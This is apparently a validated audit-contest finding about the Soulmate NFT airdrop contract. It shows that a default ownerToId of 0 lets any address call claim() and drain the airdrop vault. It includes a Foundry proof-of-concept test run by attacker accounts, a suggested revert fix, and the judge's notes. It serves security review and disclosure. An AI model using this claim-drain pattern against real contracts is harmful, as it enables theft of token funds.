Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Everyone can claim tokens of ownerID0

Summary

ownerToId mapping is initialized to 0 for the first soulmates and for any address that does not have a soulmate.

Vulnerability Details

This allows anyone to claim tokens of soulmates whose ownerToId is 0. Consequently, the entire airdrop vault could potentially be drained by multiple externally owned accounts (EOAs).

Impact

function test_AttackersCanClaimAirdropRewardsWithOwnerId0() public {
//Anyone who doesn't have a soulmate will have ownerId=0 and thus can claimRewards
uint256 numberOfDays = 1;
uint256 airdropVaultSupply = 500_000_000 ether;
vm.warp(block.timestamp + numberOfDays * 1 weeks); // OwnerToId is set to 0 during contract deployment time. vm.warp is required to extend soulmateContract.idToCreationTimestamp(soulmateContract.ownerToId(msg.sender) time.
vm.startPrank(attacker); //Attacker1 claims airdrop tokens with ownerId = 0
airdropContract.claim();
console2.log("----------Balances after 1st Attack----------");
console2.log("loveToken.balanceOf(attacker) :", loveToken.balanceOf(attacker));
console2.log("loveToken.balanceOf(airdropVault) :", loveToken.balanceOf(address(airdropVault)));
console2.log("");
console2.log("----------Balances after 1st Attack----------");
vm.startPrank(address(1)); //Attacker2 claims airdrop tokens of ownerId = 0 without calling mintSoulmateToken()
airdropContract.claim();
console2.log("loveToken.balanceOf(attacker2) :", loveToken.balanceOf(address(1)));
console2.log("loveToken.balanceOf(airdropVault) :", loveToken.balanceOf(address(airdropVault)));
vm.stopPrank();
assertEq(loveToken.balanceOf(address(airdropVault)), (airdropVaultSupply - loveToken.balanceOf(attacker) * 2));
}

Tools Used

Manual code review

Recommendations

Below should be added to claim() function in order to

address soulmate = soulmateContract.soulmateOf(msg.sender);
if (soulmate == address(0)) {revert();}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claim-airdrop-without-owning-NFT

High severity, This issue is separated from the flawed `isDivorced()` check presented in issue #168 as even if that is fixed, if ownership is not checked, isDivorced would still default to false and allow bypass to claim airdrops by posing as tokenId 0 in turn resulting in this [important check for token claim is bypassed.](https://github.com/Cyfrin/2024-02-soulmate/blob/b3f9227942ffd5c443ce6bccaa980fea0304c38f/src/Airdrop.sol#L61-L66). #220 is the most comprehensive issue as it correctly recognizes both issues existing within the same function.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.